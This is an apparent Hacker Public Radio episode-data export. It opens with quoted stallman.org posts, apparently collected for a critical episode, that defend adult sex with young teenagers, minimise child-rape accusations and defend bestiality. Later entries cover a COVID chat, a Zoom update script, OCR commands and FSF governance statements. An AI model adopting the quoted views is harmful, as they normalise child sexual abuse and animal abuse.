                                                            stallman.org 14 December 2016 (Campaign of bull-headed prudery) A national campaign seeks to make all US states prohibit sex between humans and nonhuman animals. This campaign seems to be sheer bull-headed prudery, using the perverse assumption that sex between a human and an animal hurts the animal. That’s true for some ways of having sex, and false for others. For instance, I’ve heard that some women get dogs to lick them off. That doesn’t hurt the dog at all. Why should it be prohibited? When male dolphins have sex with people, that doesn’t hurt the dolphins. Quite the contrary, they like it very much. Why should it be prohibited? I’ve also read that female gorillas sometimes express desire for sex with men. If they both like it, who is harmed? Why should this be prohibited? The proponents of this law claim that any kind of sex between humans and other species implies that the human is a \"predator\" that we need to lock up. That’s clearly false, for the cases listed above. Making a prohibition based on prejudice, writing it in an overbroad way, is what prissy governments tend to do where sex is concerned. The next step is to interpret it too strongly with \"zero tolerance\". Will people convicted of having dogs lick them off be required to live at least 1000 feet from any dogs? This law should be changed to prohibit only acts in which the animal is physically forced to have sex, or physically injured.

                                                            \n

                                                            stallman.org 23 February 2017 (A \"violent sex offender\") The teenager who will have to register as a \"violent sex offender\" had a sexual meeting with a younger teenager. Why do people think there is something wrong with a sexual relationship between people of ages 13 and 18? The principal activity of human adolescents is sex.

                                                            \n

                                                            stallman.org 26 May 2017 (Prudish ignorantism) A British woman is on trial for going to a park and inviting teenage boys to have sex with her there. Her husband acted as a lookout in case someone else passed by. One teenager allegedly visited her at her house repeatedly to have sex with her. None of these acts would be wrong in any sense, provided they took precautions against spreading infections. The idea that adolescents (of whatever sex) need to be \"protected\" from sexual experience they wish to have is prudish ignorantism, and making that experience a crime is perverse.

                                                            \n

                                                            stallman.org 13 June 2017 (Sex offender registry) The sex offender registry treats any sexual crime as far worse than murder.

                                                            \n

                                                            stallman.org 10 October 2017 (Laws against having sex with an animal) European countries are passing laws against having sex with an animal. (We are talking about sex practices that don’t physically hurt the animal.) These laws have no rational basis. We know that some animals enjoy sex with humans. Others don’t. But really, if you smear something on your genitals that tastes good to dogs, and have a dog lick you off, it harms no one. Why should this be illegal except mindless religion?

                                                            \n

                                                            stallman.org 27 November 2017 (Roy Moore’s relationships) Senate candidate Roy Moore tried to start dating/sexual relationships with teenagers some decades ago. He tried to lead Ms Corfman step by step into sex, but he always respected \"no\" from her and his other dates. Thus, Moore does not deserve the exaggerated condemnation that he is receiving for this. As an example of exaggeration: one mailing referred to these teenagers as \"children\", even the one that was 18 years old. Many teenagers are minors, but none of them are children. The condemnation is surely sparked by the political motive of wanting to defeat Moore in the coming election, but it draws fuel from ageism and the fashion for overprotectiveness of \"children\". I completely agree with the wish to defeat Moore. Political Christianists such as Moore hold views that conflict essentially with human rights, just as political Islamists do. If Moore, with his extremist policies, gains public office again, he will harm millions of American women, and secondarily society as a whole. Ms Corfman says she was hurt afterward, and attributes this to feelings of guilt based on the belief that she had done something wrong (which, of course, she had not). Is this is another sign of Christianity at work? I sent a check to Doug Jones US Senate a few weeks ago. Please support his campaign too. You can mail a check here: (Address available at original link)

                                                            \n

                                                            stallman.org 29 October 2017 (Pestering women) A famous theater director had a habit of pestering women, asking them for sex. As far as I can tell from this article, he didn’t try to force women into sex. When women persistently said no, he does not seem to have tried to punish them. The most he did was ask. He was a pest, but nothing worse than that.

                                                            \n

                                                            stallman.org 30 April 2018 (UN peacekeepers in South Sudan) It sounds horrible: \"UN peacekeepers accused of child rape in South Sudan.\" But the article makes it pretty clear that the \"children\" involved were not children. They were teenagers. What about \"rape\"? Was this really rape? Or did they have sex willingly, and prudes want to call it \"rape\" to make it sound like an injustice? We can’t tell from the article which one it is. Rape means coercing someone to have sex. Precisely because that is a grave and clear wrong, using the same name for something much less grave is a distortion.

                                                            \n

                                                            stallman.org 17 July 2018 (The bullshitter’s flirting) We are now invited to despise the bullshitter for telling a 17-year-old woman at a party that he found her attractive. We can hardly assume that the bullshitter’s boasts were true. Even men who are usually honest on other topics have been known to lie about their sexual achievements. However, I wouldn’t assume they were false, or that he did an injustice to anyone at these parties. In a group of 50 models, there could well be some that would eagerly go to bed with a rich man, either to boost their careers or for a lark. If you condemn men for finding teenage female models attractive, you might as well condemn men for being heterosexual. The bully may be predatory, but it appears he didn’t display this overtly at those parties. There are indications that he arbitrarily chose the winners of the Miss USA beauty contest while he owned it. That would be a real wrong, since it would have made the contest dishonest. I understand the desire to condemn the bullshitter on every aspect of his life, but it is no excuse for ageism. If you can understand that we shouldn’t dictate people’s gender preferences, you should understand that we shouldn’t dictate their age preferences either. There are plenty of tremendously important reasons to condemn the bully. He is attacking workers’ rights, abortion rights, non-rich people’s pensions and medical care, the environment, human rights, and democracy, even the idea of truth. Let’s focus on those real reasons.

                                                            \n

                                                            stallman.org 21 August 2018 (Age and attraction) Research found that men generally find females of age 18 the most attractive. This accords with the view that Stendhal reported in France in the 1800s, that a woman’s most beautiful years were from 16 to 20. Although this attitude on men’s part is normal, the author still wants to present it as wrong or perverted, and implicitly demands men somehow control their attraction to direct it elsewhere. Which is as absurd, and as potentially oppressive, as claiming that homosexuals should control their attraction and direct it towards to the other sex. Will men be pressured to undergo \"age conversion therapy\" intended to brainwash them to feel attracted mainly to women of their own age?

                                                            \n

                                                            stallman.org Anti-Glossary Sexual assault: this term is so broad that using it is misleading. The term includes rape, groping, sexual harassment, and other acts. These acts are not merely different in degree. They are different in kind. Rape is a grave crime. Being groped is unpleasant but not as grave as robbery. Sexual harassment is a not an action at all, but rather a pattern of actions that constitutes economic unfairness. How can it make sense to group these behaviors things together? It never makes sense. News articles, studies, and laws should avoid that term.

                                                            \n

                                                            stallman.org 23 September 2018 (Cody Wilson) Cody Wilson has been charged with hiring a \"child\" sex worker. Her age has not been announced, but I think she must surely be a teenager, not a child. Calling teenagers \"children\" in this context is a way of smearing people with normal sexual proclivities as \"perverts\". They have accused him of \"sexual assault\", a term so vague that it should never be used at all. With no details, we can’t tell whether the alleged actions deserve that term. What we do know is that the term is often used for a legal lie. She may have had — I expect, did have — entirely willing sex with him, and they would still call it \"assault\". I do not like the idea of 3D-printed guns, but that issue is entirely unrelated to this.

                                                            \n

                                                            stallman.org 6 November 2018 (Sex according to porn) The unrealistic picture of sex presented in most porn harms men as well as women in their sex lives (though in different ways). Their sexual miseducation starts in adolescence, but many never learn better. Our society’s taboo cuts adolescents off from any way to learn about sexual relationships and lovemaking other than from porn and from other confused adolescents. Everyone learns the hard way, often slowly, and in many cases learns bad lessons. The more effective the taboo, the deeper the ignorance. In 18th century France, teenage girls of good family emerged totally sexually innocent from education in a convent. Totally innocent and totally exploitable (see Dangerous Liaisons). Contrast this with Marquesan society, where adolescents are not kept ignorant by a taboo on sex. They have various relationships with lovers of their choice, so they have many opportunities to see what pleases and what doesn’t. Any one lover can please them more, or please them less, but can’t mislead them — they have standards for comparison. In that society, even adolescents understand lovemaking better than a lot of American adults. Inevitably, everyone starts out ignorant; the question is, how can society offer people a path which leads them to learn to do things well, rather than learning painfully to do them badly.

                                                            \n

                                                            stallman.org 14 February 2019 (Respecting people’s right to say no) Writer Yann Moix said that he cannot be attracted to women in their 50s, and people are condemning him, claiming he has an obligation to be attracted to them. You might as well demand that a homosexual be attracted to people not of the same sex. Or that a heterosexual be attracted to people that are of the same sex. There is no arguing about tastes. If we respect people’s right to say no, we should not rebuke them when they do. Of course, many people (especially men, but not only) despise those they find unattractive. That is a mean way to treat people who haven’t done anything wrong. But being unattracted by someone is not the same as despising per. Yann Moix understands this.

                                                            \n

                                                            stallman.org 12 June 2019 (Declining sex rates) Many demographic categories report having sex less now than in the past. It might be due to the general stress and anxiety of life in the advanced countries. I suspect it is also due to the lack of any generally accepted way for men to express romantic or sexual interest in women. By \"generally accepted\", I mean that he can count on a woman who declines his interest not to revile him for expressing it that way.

                                                            \n

                                                            stallman.org 30 July 2019 (Al Franken) Al Franken now regrets resigning from the Senate. Some senators that pushed him to resign now regret that too. The first (main) article does not state clearly whether Franken touched Tweeden in the process of making the photo, but it seems he did not. If that is correct, it was not a sexual act at all. It was self-mocking humor. The photograph depicted a fictional sexual act without her fictional consent, but making the photo wasn’t a sexual act. If it is true that he persistently pressured her to kiss him, on stage and off, if he stuck his tongue into her mouth despite her objections, that could well be sexual harassment. He should have accepted no for an answer the first time she said it. However, calling a kiss \"sexual assault\" is an exaggeration, an attempt to equate it to much graver acts, that are crimes. The term \"sexual assault\" encourages that injustice, and I believe it has been popularized specifically with that intention. That is why I reject that term. Meanwhile, Franken says he did not do those things, and the other actors he previously did the same USO skit with said it was not harassment, just acting. Tweeden’s store is clearly false in many details. Should we assume Tweeden was honest? With so many demonstrated falsehoods in her accusations, and given that she planned them with other right-wing activists, and that all of them follow a leader who lies as a tactic every day, I have to suspect that she decided to falsify accusations through exaggeration so as to kick a strong Democrat out of the Senate. I have no proof of that suspicion. It is possible that she made the accusations honestly. Also, in a hypothetical world, someone might really have done them. Supposing for the moment that those accusations were true, should Franken have resigned over them? I don’t think so. They are misjudgments, not crimes. Franken deserved the chance to learn from the criticism that surprised him. Zero tolerance is a very bad way to judge people. However, the most important point is to reject the position that if B feels hurt by what A said or did, then automatically A is wrong. People judged Franken that way, and he judged himself that way. But that way degrades the concept of \"wrong\" into a mere expression of subjective disapproval. What can legitimately be asserted subjectively can legitimately be ignored subjectively too. To judge A that way is to set B up as a tyrant. If B’s feelings were hurt, that’s unfortunate – but is that A’s fault? If so, was it culpable, or just a mistake? That is what we have to judge, and if we want others to think our judgments worth following, they must be based on objective facts and objective standards, including objective standards for what words and gestures objectively mean. Traister is wrestling with a solvable problem. She says, \"When you change rules, you end up penalizing people who were caught behaving according to the old rules.\" Maybe people do, but that is a sign of carelessness. It isn’t really hard to change the rules and then judge old actions by the old rules. We just have to remember to do so.

                                                            \n

                                                            stallman.org 27 August 2019 (Me-too frenzy) In \"me-too\" frenzy, crossed signals about sex can easily be inflated into \"rape\". If people rush to judgment, in an informal way, that can destroy a man’s career without any trial in which to clear his name.

                                                            \n

                                                            stallman.org 21 September 2019 (Sex workers) Today’s Sex Workers, Like Their Victorian Sisters, Don’t Want \"saving\". Feminism today is drifting off the track into a campaign of prudery that harms everyone, except those who are asexual.

                                                            \n

                                                            stallman.org 11 June 2019 (Stretching meaning of terms) Should we accept stretching the terms \"sexual abuse\" and \"molestation\" to include looking without touching? I do not accept it.

                                                            \n\n","hostid":393,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Bradley M. Kuhn, Richard M. Stallman, RMS, FSF, Free Software Foundation","version":0,"downloads":0,"valid":1}, {"id":3312,"date":"2021-04-13","title":"COVID Doldrums","duration":4288,"summary":"MrX and Dave Morriss have a chat over Mumble in these trying times","notes":"

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n\n

                                                            We had some issues with getting Mumble to work, for reasons we couldn’t quite fathom. Both ends needed to be restarted several times until all worked properly.

                                                            \n

                                                            We recorded this on Sunday March 7th 2021. The last time we set up a chat like this was back in August 2020, surprisingly!

                                                            \n

                                                            Note on the title: the term the doldrums refers to a belt around the equator where sailing ships used to be becalmed due to the lack of wind. It also means a state of inactivity or stagnation, or a dull, listless, depressed mood; low spirits.

                                                            \n

                                                            Topics discussed

                                                            \n\n
                                                              \n
                                                            • Christmas/New Year:\n
                                                                \n
                                                              • Dave:\n
                                                                  \n
                                                                • Cooked a fancy vegetarian meal twice! On Boxing Day and New Years Day. Second time was a joint effort. Getting everything coordinated is easier when there are several contributors!
                                                                • \n
                                                              • \n
                                                              • MrX:\n
                                                                  \n
                                                                • Had long break because like many I hadn’t taken many holidays
                                                                • \n
                                                                • Spent first part of holiday upgrading devices around the house
                                                                • \n
                                                                • I had a nice relaxing break and spent Christmas with my mother, she lives on her own.
                                                                • \n
                                                                • Visit to the dentist was interesting, wondering how they were going to cope with aerosol spray from the drill. The answer was they didn’t. Rough edge smoothed, they told me they will contact me when things settle down and said I was right to get it checked. If any pain or further break then will be moved into a different category where they do use drill with full PPE.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Pandemic (2):\n
                                                                \n
                                                              • Dave:\n
                                                                  \n
                                                                • Vaccination received on 2020-02-02 (Oxford/AstraZeneca)
                                                                • \n
                                                                • Probably getting second in late April or early May; not heard yet
                                                                • \n
                                                                • Still avoiding going out for the moment
                                                                • \n
                                                                • The deleterious effects of the lock down; trying to walk on a regular basis to counteract these and get exercise
                                                                • \n
                                                                • Meeting up with the rest of the family several times per week for dinner, etc.
                                                                • \n
                                                              • \n
                                                              • MrX:\n
                                                                  \n
                                                                • Horizon things we now know about COVID
                                                                • \n
                                                                • Don’t know how long the vaccine protects against virus spreading but likely to protect against serious illness for a good long time.
                                                                • \n
                                                                • 12 weeks between jabs: 2nd jab does not provoke a stronger response; it’s that the 1st jab produces good responses and poor responses but by waiting 12 weeks for the 2nd jab it only provokes the good responses.
                                                                • \n
                                                                • Think the UK has among the worst death rate in Europe
                                                                • \n
                                                                • Like Dave continuing to avoid the virus as before.
                                                                • \n
                                                                • Seems to be getting more difficult coping with lock down
                                                                • \n
                                                                • Haven’t been into work since last November, working from home
                                                                • \n
                                                                • Home working, clutter, stress, not taking enough breaks
                                                                • \n
                                                                • Glad I didn’t need to drive during all the bad weather
                                                                • \n
                                                                • Think I heard on a podcast recently that Linux use had dropped by 50%, could this be linked to people working from home. I would say this is true for myself
                                                                • \n
                                                                • Except for me all immediate family have been vaccinated
                                                                • \n
                                                                • Way to stay positive tip from something Mrs X read\n
                                                                    \n
                                                                  • Three things at the end of each day that were a highlight or something that we are grateful for.
                                                                  • \n
                                                                  • This may say something about my personality but for me the highlights often relate to food.
                                                                  • \n
                                                                • \n
                                                                • Can’t go outside our own region.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Weather in & around Edinburgh:\n
                                                                \n
                                                              • Some snow in the past few months. More than Edinburgh tends to have.
                                                              • \n
                                                              • Methods of clearing snow on driveways. Snow shovels - mainly plastic unfortunately.
                                                              • \n
                                                              • Thoughts about making a home-made shovel out of metal for durability.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • To Do lists and Taskwarrior:\n
                                                                \n
                                                              • Jeroen Baten did a show about Taskwarrior in December 2020.
                                                              • \n
                                                              • Dave has been trying to use taskwarrior regularly. There’s a feeling of achievement when a task is done!
                                                              • \n
                                                              • MrX has tried various solutions including paper. Taskwarrior doesn’t fit with many modes of working.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Laptops and Chromebooks:\n
                                                                \n
                                                              • MrX has money to spend on either of these, and is debating what to buy
                                                              • \n
                                                              • Dave has an Entroware laptop but mainly uses a desktop system
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Technology:\n
                                                                \n
                                                              • Hand warmers:\n
                                                                  \n
                                                                • MrX has a new electric hand warmer
                                                                • \n
                                                                • Dave only has experience of the reusable gel ones that release heat as they crystallise
                                                                • \n
                                                                • Talk of other technologies: single use warmers, fuelled Zippo warmers
                                                                • \n
                                                              • \n
                                                              • Raspberry Pi Pico:\n
                                                                  \n
                                                                • Dave has one of these. It’s a microcontroller that costs £3.60. Not in use yet though.
                                                                • \n
                                                                • The keypad isn’t 16×16 but 4×4 – 16 keys, not 256! It’s from Pimoroni, the RGB Keypad Base.
                                                                • \n
                                                              • \n
                                                              • The R Programming Language
                                                              • \n
                                                            • \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"COVID-19","version":0,"downloads":0,"valid":1}, {"id":3313,"date":"2021-04-14","title":"Zoom Update","duration":102,"summary":"Scripted Zoom Update with History on Fedora.","notes":"\n

                                                            Zoom does not provide a standard Fedora repo for updating. To get around that, this script will check the zoom fedora download link. If an update is found, it will download the new version, stop the current version from running, then install the updated package. All versions are downloaded to the same folder as the script. Filename is changed to match datestamp.

                                                            \n

                                                            I leave my linux machine always running. I schedule this to run just after midnight. If no update, nothing happens. If zoom is not running when I unlock, I launch zoom as normal.

                                                            \n
                                                              \n
                                                            • Bash Script.
                                                            • \n
                                                            • Uses wget
                                                            • \n
                                                            • Cron for scheduling
                                                            • \n
                                                            • Download, cron, forget...
                                                            • \n
                                                            • Periodically review log to see update history
                                                            • \n
                                                            \n

                                                            james@toebesacademy.com
                                                            \nhttps://james.toebesacademy.com
                                                            \nLet me know what you think.

                                                            \n","hostid":273,"series":108,"explicit":1,"license":"CC-BY-SA","tags":"zoom update,sysadmin automation","version":0,"downloads":0,"valid":1}, {"id":3314,"date":"2021-04-15","title":"Introduction... A little bit about me","duration":226,"summary":"My first HPR episode, introducing myself and sharing a bit about me","notes":"

                                                            Inoffensive in every region of the world. Meeting me is a completely different story.

                                                            \n

                                                            Name is Trey. I have been listening to HPR for about a year and after hearing repeated pleas for episodes, I thought I would record some of my own.

                                                            \n

                                                            I cannot guarantee quality of production nor content, but I hope you find them entertaining.

                                                            \n

                                                            This episode is simply an introduction with a little bit of information about me

                                                            \n

                                                            My love of computers began 40 years ago when my parents scrimped and saved to purchase a Texas Instruments TI-99/4a computer. I began programming in BASIC, saving programs to audio cassette tapes. I remember buying magazines to get new programs to enter, save, edit, and turn into something different.

                                                            \n

                                                            Soon I expanded the computer to include 32K of RAM and an RS232 card which allowed me to connect a 300 BAUD modem and connect to bulletin board systems (BBS). BBS became my connection to the world.

                                                            \n

                                                            I later upgraded to a Commodore 64, which gave me a floppy disk. Much faster than saving to tape. I studied electronics & computers in college, then went to work for a large computer vendor, traveling all over fixing computers, networks, and peripherals.

                                                            \n

                                                            After about a decade, I joined a different company where I worked in systems administration and engineering, with a focus on information security. I have worked as security analyst, incident responder, security engineer, and security architect, then built out and managed the SOC for a large organization.

                                                            \n

                                                            Today, I am still focused on information security and I also dabble in clock repair, Ham radio, electronics, and photography. I may record some episodes on some of these topics in the future.

                                                            \n

                                                            Thank you for listening to me prattle on about myself, and have an awesome day.

                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Introduction","version":0,"downloads":0,"valid":1}, {"id":3315,"date":"2021-04-16","title":"tesseract optical character recognition","duration":128,"summary":"How to use this amazing tool","notes":"

                                                            Tesseract (software)

                                                            \nFrom Wikipedia, the free encyclopedia\n

                                                            \nTesseract is an optical character recognition engine for various operating systems. It is free software, released under the Apache License. Originally developed by Hewlett-Packard as proprietary software in the 1980s, it was released as open source in 2005 and development has been sponsored by Google since 2006.
                                                            \nIn 2006, Tesseract was considered one of the most accurate open-source OCR engines then available.\n

                                                            \n
                                                            \n\n$ tesseract -l eng english-page.jpg english\n$ tesseract -l nld dutch-page.jpg dutch\n$ ls\ndutch.txt english.txt \n\n
                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Tesseract, OCR, optical character recognition","version":0,"downloads":0,"valid":1}, {"id":3316,"date":"2021-04-19","title":"FSF and RMS on election of Richard Stallman","duration":841,"summary":"The Free Software Foundation (FSF) and Richard Stallman have released statements on the matter","notes":"
                                                            \n

                                                            Counter Point

                                                            \n

                                                            This show is a counter point to: hpr3311 :: Bradley M. Kuhn's article from 2019 on Richard M. Stallman\n

                                                            \n
                                                            \n

                                                            From Wikipedia, the free encyclopedia In September 2019, Richard Stallman resigned as president of the FSF and left his “visiting scientist” role at MIT after making controversial comments about Marvin Minsky’s alleged role in the Jeffrey Epstein sex trafficking scandal. Stallman remained head of the GNU Project nevertheless and, in 2021, he returned to the FSF board of directors.

                                                            \n

                                                            Since the show was submitted both the Free Software Foundation (FSF) and Richard Stallman have released statements on the matter.

                                                            \n

                                                            I am submitting those statements here under the terms of the Creative Commons Attribution-No Derivative Works 3.0 license. The statements contains many links which are available in the shownotes for this show.

                                                            \n

                                                            Statement of FSF board on election of Richard Stallman

                                                            \n

                                                            Published on Apr 12, 2021 10:25 AM by Free Software Foundation

                                                            \n

                                                            \nThe voting members of the Free Software Foundation, which include the board of directors, voted to appoint Richard Stallman to a board seat after several months of thorough discussion and thoughtful deliberation.\n

                                                            \n

                                                            \nWe decided to bring RMS back because we missed his wisdom. His historical, legal and technical acumen on free software is unrivaled. He has a deep sensitivity to the ways that technologies can contribute to both the enhancement and the diminution of basic human rights. His global network of connections is invaluable. He remains the most articulate philosopher and an unquestionably dedicated advocate of freedom in computing.\n

                                                            \n

                                                            \nRMS acknowledges that he has made mistakes. He has sincere regrets, especially at how anger toward him personally has negatively impacted the reputation and mission of FSF. While his personal style remains troubling for some, a majority of the board feel his behavior has moderated and believe that his thinking strengthens the work of the FSF in pursuit of its mission.\n

                                                            \n

                                                            \nWe take full responsibility for how badly we handled the news of his election to a board seat. We had planned a flow of information that was not executed in a timely manner or delivered in the proper sequence.\n

                                                            \n

                                                            \nFSF staff should have been informed and consulted first. The announcement by RMS at LibrePlanet was a complete surprise to staff, all those who worked so hard to organize a great event, to LibrePlanet speakers and to the exhibitors. We had hoped for a more inclusive and thoughtful process and we apologize that this did not occur.\n

                                                            \n

                                                            \nIn his position on the board, RMS has the same responsibilities as other members. He is an unpaid volunteer and subject to the organization’s policies, including prohibitions against conflicts of interest and sexual harassment and those outlining whistleblower processes and fiduciary duties. The responsibilities of the board are described at https://www.fsf.org/about/the-role-of-the-fsfs-board-of-directors.\n

                                                            \n

                                                            \nWe believe his views will be critical to the FSF as we advance the mission and confront the challenges that software freedom faces.\n

                                                            \n

                                                            \nIn recent weeks, the board has committed to a series of changes related to organizational governance, including plans to adopt a transparent, formal process for identifying appropriate candidates to become new board members, future changes to the organization’s bylaws, and the addition of a staff representative to the board of directors.\n

                                                            \n

                                                            \nSelected by FSF’s unionized staff, senior systems administrator Ian Kelling was elected to a newly created staff seat on the board of directors as a voting member on March 28.\n

                                                            \n

                                                            \nThe FSF board will continue to pursue additional ideas and actions designed to improve transparency and accountability.\n

                                                            \n

                                                            \nThere is still considerable work to be done. We recognize the need to attract a new generation of activists for software freedom and to grow the movement. We will report our discussions and activities to the community as we move forward.\n

                                                            \n

                                                            \nAs we work on these issues, let’s not forget the purpose of our movement, or the great work of our staff and all the good people of the free software community who are dedicated to users’ freedom.\n

                                                            \n
                                                            \n

                                                            RMS addresses the free software community

                                                            \n

                                                            Published on Apr 12, 2021 10:24 AM by Richard Stallman

                                                            \n

                                                            \nEver since my teenage years, I felt as if there were a filmy curtain separating me from other people my age. I understood the words of their conversations, but I could not grasp why they said what they did. Much later I realized that I didn’t understand the subtle cues that other people were responding to.\n

                                                            \n

                                                            \nLater in life, I discovered that some people had negative reactions to my behavior, which I did not even know about. Tending to be direct and honest with my thoughts, I sometimes made others uncomfortable or even offended them – especially women. This was not a choice: I didn’t understand the problem enough to know which choices there were.\n

                                                            \n

                                                            \nSometimes I lost my temper because I didn’t have the social skills to avoid it. Some people could cope with this; others were hurt. I apologize to each of them. Please direct your criticism at me, not at the Free Software Foundation.\n

                                                            \n

                                                            \nOccasionally I learned something about relationships and social skills, so over the years I’ve found ways to get better at these situations. When people help me understand an aspect of what went wrong, and that shows me a way of treating people better, I teach myself to recognize when I should act that way. I keep making this effort, and over time, I improve.\n

                                                            \n

                                                            \nSome have described me as being “tone-deaf,” and that is fair. With my difficulty in understanding social cues, that tends to happen. For instance, I defended Professor Minsky on an M.I.T. mailing list after someone leaped to the conclusion that he was just guilty as Jeffrey Epstein. To my surprise, some thought my message defended Epstein. As I had stated previously, Epstein is a serial rapist, and rapists should be punished. I wish for his victims and those harmed by him to receive justice.\n

                                                            \n

                                                            \nFalse accusations – real or imaginary, against me or against others – especially anger me. I knew Minsky only distantly, but seeing him unjustly accused made me spring to his defense. I would have done it for anyone. Police brutality makes me angry, but when the cops lie about their victims afterwards, that false accusation is the ultimate outrage for me. I condemn racism and sexism, including their systemic forms, so when people say I don’t, that hurts too.\n

                                                            \n

                                                            \nIt was right for me to talk about the injustice to Minsky, but it was tone-deaf that I didn’t acknowledge as context the injustice that Epstein did to women or the pain that caused.\n

                                                            \n

                                                            \nI’ve learned something from this about how to be kind to people who have been hurt. In the future, that will help me be kind to people in other situations, which is what I hope to do.\n

                                                            \n
                                                            \n

                                                            The role of the FSF’s board of directors

                                                            \n

                                                            Published on Mar 22, 2021 10:55 PM by Free Software Foundation

                                                            \n

                                                            \nThe FSF board believes it is its responsibility – to free software community members, donors, movement organizations, and the general public – to be a model of good governance.\n

                                                            \n

                                                            \nGood governance starts with the board of directors, which oversees the organization and is ultimately responsible for its success. The board’s role (and legal obligation) is to oversee the management of the organization and ensure that the organization fulfills its mission.\n

                                                            \n

                                                            \nThe board enables good management by overseeing the President and executive director, who in turn manages staff. The board’s oversight role includes decision-making, monitoring and leadership.\n

                                                            \n

                                                            \nIn its decision-making capacity, the board:\n

                                                            \n
                                                              \n
                                                            • \n

                                                              \ndetermines the mission and purposes of the FSF;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \ndrives the FSF’s long-term strategy and goals;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nformulates and regularly reviews significant corporate policies;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nselects and evaluates the President, executive director and other officers, including determining compensation based on relevant data for the paid positions; and\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \ncreates and maintains effective succession plans for the FSF’s leadership positions.\n

                                                              \n
                                                            • \n
                                                            \n

                                                            \nIn its monitoring capacity, the board:\n

                                                            \n
                                                              \n
                                                            • \n

                                                              \nevaluates how well the FSF is fulfilling its mission, values, goals, and vision, including evaluating relevant risks;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nmonitors the FSF’s financial performance and use of assets, including approving the annual budget;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nconducts regular reviews of the FSF’s internal controls and financial reporting;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \noversees compliance with legal obligations and organizational policies, such as those against conflicts of interest; and\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \ndiscusses its own performance as the leading governing body.\n

                                                              \n
                                                            • \n
                                                            \n

                                                            \nIn its leadership capacity, the board:\n

                                                            \n
                                                              \n
                                                            • \n

                                                              \nmaintains the legal and ethical integrity of the organization;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nenhances and protects the FSF’s public image;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nadvises and provides guidance to the President, executive director, and other officers, drawing on relevant board member expertise;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nparticipates in fundraising to develop resources for a robust and strong organization;\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nrecruits and orients new board members; and\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nworks with the President and executive director to help communicate the FSF’s direction and activities to the public.\n

                                                              \n
                                                            • \n
                                                            \n

                                                            \nFSF board members are not compensated for their board service, and are not permitted to receive any personal financial benefit from FSF funds or other assets. Board members may be reimbursed for reasonable and appropriate expenses incurred in connection with their board service.\n

                                                            \n

                                                            \nFor further information, see the FSF’s bylaws.\n

                                                            \n
                                                            \n

                                                            Preliminary board statement on FSF governance

                                                            \n

                                                            Published on Mar 25, 2021 12:00 AM by Free Software Foundation

                                                            \n

                                                            \nOn Wednesday, the FSF board of directors committed to a series of changes related to organizational governance and the appointment of members to its board of directors:\n

                                                            \n
                                                              \n
                                                            • \n

                                                              \nWe will adopt a transparent, formal process for identifying candidates and appointing new board members who are wise, capable, and committed to the FSF’s mission. We will establish ways for our supporters to contribute to the discussion.\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nWe will require all existing board members to go through this process as soon as possible, in stages, to decide which of them remain on the board.\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nWe will add a staff representative to the board of directors. The FSF staff will elect that person.\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nThe directors will consult with legal counsel about changes to the organization’s by-laws to implement these changes. We have set ourselves a deadline of thirty days for making these changes.\n

                                                              \n
                                                            • \n
                                                            \n

                                                            \nThe board will meet again Thursday, March 25, to consider further decisions.\n

                                                            \n
                                                            \n

                                                            Update on work to improve governance at the FSF

                                                            \n

                                                            Published on Mar 25, 2021 11:52 PM by Free Software Foundation

                                                            \n

                                                            \nSummary of actions from the board and voting member meetings of Thursday, March 25, 2021:\n

                                                            \n

                                                            \nThe voting members unanimously agreed to elect a union staff member, selected by the FSF union staff, to be a full voting member and director. The first such representative will be elected as soon as the staff chooses one. The FSF will adopt by-law changes to implement this as a requirement going forward.\n

                                                            \n

                                                            \nThe board of directors is soliciting proposals from qualified consultants to assist in creating a transparent, formal process for identifying candidates and appointing board members who are wise, capable, and committed to the FSF’s mission. The FSF intends to rewrite the by-laws in a way that binds the organization to transparency in its choice of directors. This process will establish ways for FSF associate members and supporters to meaningfully contribute to the discussion. The board is looking for proposals to be received by Friday, April 2, 2021. Please email info@fsf.org with the subject “Director Transparency Engagement” for details.\n

                                                            \n

                                                            \nFSF president Geoffrey Knauth announced, “I commit myself to resign as an FSF officer, director, and voting member as soon as there is a clear path for new leadership assuring continuity of the FSF’s mission and compliance with fiduciary requirements.”\n

                                                            \n

                                                            \nThe board of directors will continue this work at its next meeting, scheduled for Sunday, March 28.\n

                                                            \n

                                                            \n

                                                            Read yesterday’s preliminary board statement.

                                                            \n
                                                            \n

                                                            Welcoming Ian Kelling to staff seat on FSF’s board of directors

                                                            \n

                                                            by Free Software Foundation Published on Mar 28, 2021 09:21 PM

                                                            \n

                                                            \nby Geoffrey Knauth, FSF president\n

                                                            \n

                                                            \nAs the next step to implement the plan outlined in the board’s announcements last Wednesday and Friday to improve governance at the FSF, at today’s meeting we officially elected the staff’s selection for their newly created seats on the board of directors and voting members.\n

                                                            \n

                                                            \nUnion staff selected senior systems administrator Ian Kelling to be the first in this role. At the end of today’s board meeting, we officially welcomed Ian to both bodies. The board and voting members look forward to having the participation of the staff via this designated seat in our future deliberations. This is an important step in the FSF’s effort to recognize and support new leadership, to connect that leadership to the community, to improve transparency and accountability, and to build trust. There is still considerable work to be done, and that work will continue.\n

